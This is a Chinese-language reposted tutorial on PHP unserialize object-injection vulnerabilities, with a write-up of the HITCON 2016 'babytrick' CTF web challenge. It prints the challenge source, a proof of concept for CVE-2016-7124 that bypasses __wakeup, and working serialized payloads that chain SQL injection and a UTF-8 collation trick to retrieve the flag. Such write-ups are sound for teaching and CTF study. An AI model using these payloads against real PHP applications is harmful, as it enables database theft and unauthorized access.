php unseralize,由HITCON 2016一道web聊一聊php反序列化漏洞

转载

kei酱inTOKYO 于 2021-03-20 21:39:37 发布 26 收藏
文章标签： php unseralize

*本文中涉及到的相关漏洞已报送厂商并得到修复，本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。

* 本文原创作者：grt1stnull，本文属FreeBuf原创奖励计划，未经许可禁止转载

反序列化漏洞在各种语言中都较为常见，下面介绍一下php的反序列化漏洞。

1.unserialize函数

php官方文档(http://php.net/manual/en/function.unserialize.php)，从中可以得到信息unserialize函数会产生一个php值，类型可能为数组、对象等等。如果被反序列化的变量为对象，在成功重构对象后php会自动调用__wakeup成员方法(如果方法存在、解构失败会返回false)同时给出了警告，不要传递给unserialize不信任的用户输入。理解序列化的字符串(unserlialize的参数)：

O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:5:"aaaaa";}

O:3: 参数类型为对象(object),数组(array)为a

"foo":2: 参数名为foo，有两个值

S:4:"file";s:9:"shell.php"; s:参数类型为字符串(数字为i)，长度为4，值为file。长度为9的字符串shell.php

s:4:"data";s:5:"aaaaa";} 长度为4的字符串data，长度为5的字符串aaaaa

object foo，属性file：shell.php，属性data：aaaaa

2.反序列化漏洞

php反序列化漏洞又称对象注入，可能会导致远程代码执行(RCE)

个人理解漏洞为执行unserialize函数，调用某一类并执行魔术方法(magic method)，之后可以执行类中函数，产生安全问题。

所以漏洞的前提：1)unserialize函数的变量可控

2)php文件中存在可利用的类，类中有魔术方法

利用场景在ctf、代码审计中常见，黑盒测试要通过检查cookie等有没有序列化的值来查看。

反序列化漏洞比如去年12月的joomla反序列化漏洞、SugarCRM v6.5.23 PHP反序列化对象注入漏洞，ctf中比如三个白帽第三期、安恒杯web3。

防御方法主要有对参数进行处理、换用更安全的函数。

推荐阅读：SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析

3.反序列化练习

如下为一个php文件源码，我们定义了一个对象之后又创建了对象并输出了序列化的字符串<?php

```
// 某类
class User
{
// 类数据
public $age = 0;
public $name = '';
// 输出数据
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old.
';
}
}
// 创建一个对象
$usr = new User();
// 设置数据
$usr->age = 20;
$usr->name = 'John';
// 输出数据
$usr->PrintData();
// 输出序列化之后的数据
echo serialize($usr);
?>
```

输出为：User John is 20 years old.

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

以下代码同上，不过并没有创建对象，而是使用unserialize函数调用了这个类。大家可以试一下。

```
<?php
// 某类
class User
{
// Class data
```

```
public $age = 0;

public $name = '';

// Print data

public function PrintData()

{

echo 'User ' . $this->name . ' is ' . $this->age . ' years old.
';

}

}

// 重建对象

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

// 调用PrintData 输出数据

$usr->PrintData();

?>
```

输出为：User John is 20 years old

这个函数中的序列化字符串为'O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}'，即一个user对象，属性值age为20，属性值name为john。调用user类并给属性赋了值，在有魔术方法时会自动调用。

4.writeup实战

以本次HITCON 2016的web题babytrick为例：

```
<?php

include "config.php";

class HITCON{

private $method;

private $args;

private $conn;

public function __construct($method, $args) {

$this->method = $method;

$this->args = $args;

$this->__conn();

}

function show() {

list($username) = func_get_args();

$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
```

```
$obj = $this->__query($sql);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("Nobody Nobody But You!");
}
}
function login() {
global $FLAG;
list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}
$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}
function source() {
highlight_file(__FILE__);
}
function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
```

```
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "CREATE TABLE IF NOT EXISTS users (
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(64)
) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("show", "login", "source"))) {
```

```
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
} else {
new HITCON("source", array());
}
```

从源码中可以看到使用了unserialize函数并且没有过滤，且定义了类。所以想到php反序列化漏洞、对象注入。

要想得到flag，需要利用反序列化执行类中函数login。首先需要用户orange密码(如果存在orange的话)，于是利用类中show函数得到密码。

看show函数我们可以看出未对参数进行过滤，可以进行sql注入，构造语句为：bla' union select password,username,password from users where username='orange'– –

那么如何使用反序列化执行函数呢？注意到类中有魔术方法__wakeup，其中函数会对我们的输入进行过滤、转义。

如何绕过__wakeup呢？谷歌发现了CVE-2016-7124，一个月前爆出的。简单来说就是当序列化字符串中，如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行。参考https://bugs.php.net/bug.php?id=72663，某一种情况下，出错的对象不会被毁掉，会绕过__wakeup函数、引用其他的魔术方法。

官方exp如下：

```
<?php
class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
```

```
function unserialize($data) {

$this->data = unserialize($data);

}

}

$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:4;}';

$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

$data = unserialize($exploit);

echo $data[1];

?>
```

根据poc进行改造如下，计入了O:9:"Exception":2:{s:7:"*file";R:4;};}O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:8:"password";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

这种情况下就不会执行__wakeup方法。

(同时该cve介绍了另一种情况，即成员属性数目大于实际数目时可绕过wakeup方法，把 O:6:"HITCON":3 中的3改为任意比3大数字即可，如5。另一种绕过方法为对wakeup过滤的绕过，利用了sql注入中的/**/

为什么构造的字符串为“%00HITCON%00..."呢？k14us大佬告诉我序列化时生成的序列化字符串中类名前后本来就会有0x00，url编码下为%00。可以echo(serialize($o))查看。前面举的例子之所以没用%00是因为成员属性为private。

如果在文件里直接调试就不用url编码，直接" HITCON ..."即可(%00替换为空格

加入注入语句为：O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:2:{i:0;s:83:"bla’ union select password,username,password from users where username=’orange’–
–";i:1;s:6:"phddaa";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

得到结果：

{"msg":"babytrick1234 is babytrick1234"}

构造好：O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

这时会返回

{"msg":"Orange is so shy. He do not want to see you."}

接下来考虑如何绕过，注意到__conn方法中有 mysql_query("SET names utf8"); 观察到php的字符编码不是utf8，考虑利用字符差异绕过。目前看到的两个wp利用的字母有Ą、Ã，可实现绕过。

poc为：O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

得到了空白页面，注意到 s:6:"orÃnge" ，改为s:6:"orÃnge" ，构造如下：O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

得到了结果，很开心有木有？

{"msg":"Hi, Orange! Here is your flag: hitcon{php 4nd mysq1 are s0 mag1c, isn't it?}"}

参考资料：